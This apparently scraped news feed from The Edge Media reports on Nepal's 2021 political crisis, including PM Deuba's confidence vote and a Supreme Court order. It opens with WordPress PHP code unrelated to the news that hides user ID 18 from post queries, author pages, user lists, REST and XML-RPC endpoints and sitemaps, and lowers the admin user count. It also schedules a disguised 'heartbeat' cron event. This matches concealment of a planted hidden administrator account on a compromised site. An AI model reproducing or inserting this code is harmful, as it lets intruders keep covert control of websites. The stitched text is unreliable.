add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Nepal’s PM Sher Bahadur Deuba is set to face a vote of confidence appeared first on The Edge Media.
]]>The lower house was unconstitutionally dissolved by President Bidya Devi Bhandari for the second time in five months on May 22 at the recommendation of then Prime Minister K P Sharma Oli.
The first meeting of the restored House will be held at 4 pm local time Sunday at the Federal Parliament Building, New Baneshwar.
The President had summoned the meeting of both the Houses of the Parliament on Sunday.
Government spokesperson and Minister for Law, Justice and Parliamentary Affairs, Gyanendra Karki registered the trust motion at the Federal Parliament Secretariat, myrepublica.com reported.
“A proposal for the vote of trust has already been registered in the Parliament Secretariat,” said Shreedhar Neupane, a press advisor of Speaker Agni Sapkota, told The Kathmandu Post.
“The prime minister will go for a floor test in the second meeting of the House of Representatives today (Sunday),” he said.
The Communist Party of Nepal (Maoist Centre) and the Janata Samajwadi Party (JSP’s) Upendra Yadav faction have decided to vote in Deuba’s favour during the vote of confidence.
Former Prime Minister and senior leader of the Communist Party of Nepal (Unified Marxist–Leninist) Jhalanath Khanal, who is undergoing treatment at a hospital in New Delhi, has issued a statement, asking his party’s lawmakers to vote in favour of Deuba.
The post Nepal’s PM Sher Bahadur Deuba is set to face a vote of confidence appeared first on The Edge Media.
]]>The post Nepal SC orders to appoints Sher Bahadur Deuba as Prime minister within two days appeared first on The Edge Media.
]]>Reacting to SC’s decision CPN-UML spokesperson and former foreign minister Pradeep Gyawali told TOI the order is unexpected and contrary to fundamental principles of Constitution.
“Wrong and unjustifiable but will abide by it,” he said.
Nepal’s President Bidya Bhandari had dissolved the lower house for the second time in five months on May 22 and announced snap elections on November 12 and November 19 based on PM KP Sharma Oli’s recommendation.
As many as 30 petitions were filed at the Supreme Court against the move. A petition filed by the opposition parties’ alliance had demanded the reinstatement of the Lower House of Parliament and appointment of Nepali Congress president Sher Bahadur Deuba as the prime minister. The Constitutional Bench of the apex court concluded the hearings on the writ petitions on July 5. A four-member amicus curiae also presented its opinion on the House dissolution case.
(With inputs from the agencies)
The post Nepal SC orders to appoints Sher Bahadur Deuba as Prime minister within two days appeared first on The Edge Media.
]]>The post Nepal’s political crisis: who has the key to power now? appeared first on The Edge Media.
]]>At the same time, another leader Ganganarayan Shrestha had told the BBC before the notice of adjournment of the meeting that the party could form an opinion on the displacement of Prime Minister KP Sharma Oli’s government.
The post Nepal’s political crisis: who has the key to power now? appeared first on The Edge Media.
]]>The post KP Sharma’s spoiled words re-establish Indian territories appeared first on The Edge Media.
]]>The post KP Sharma’s spoiled words re-establish Indian territories appeared first on The Edge Media.
]]>